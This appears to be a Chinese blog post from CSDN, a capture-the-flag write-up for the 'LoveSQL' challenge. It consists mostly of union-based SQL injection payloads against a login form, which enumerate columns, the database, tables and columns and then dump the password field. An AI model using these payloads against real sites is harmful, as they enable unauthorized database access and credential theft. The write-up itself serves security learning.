[极客大挑战 2019]LoveSQL

最新推荐文章于 2022-10-22 08:55:06 发布

「已注销」

最新推荐文章于 2022-10-22 08:55:06 发布

阅读量126

点赞数

分类专栏： sql注入

本文链接：https://blog.csdn.net/qq_41628669/article/details/106060052

版权

sql注入专栏收录该内容

8 篇文章 0 订阅

订阅专栏

check.php?username=admin'&password=1

在这里插入图片描述
使用#闭合后通过

#order by查列数
admin' order by 4#

#查回显位
-1' union select 1,2,3#

#查库 得到库名'geek'
-1' union select 1,2,database()#

#查表 得到表名 'geekuser,l0ve1ysq1'
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'geek'#

#查列 得到列名 'id,username,password'
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'l0ve1ysq1'#

#查flag
-1' union select 1,2,group_concat(password) from  l0ve1ysq1#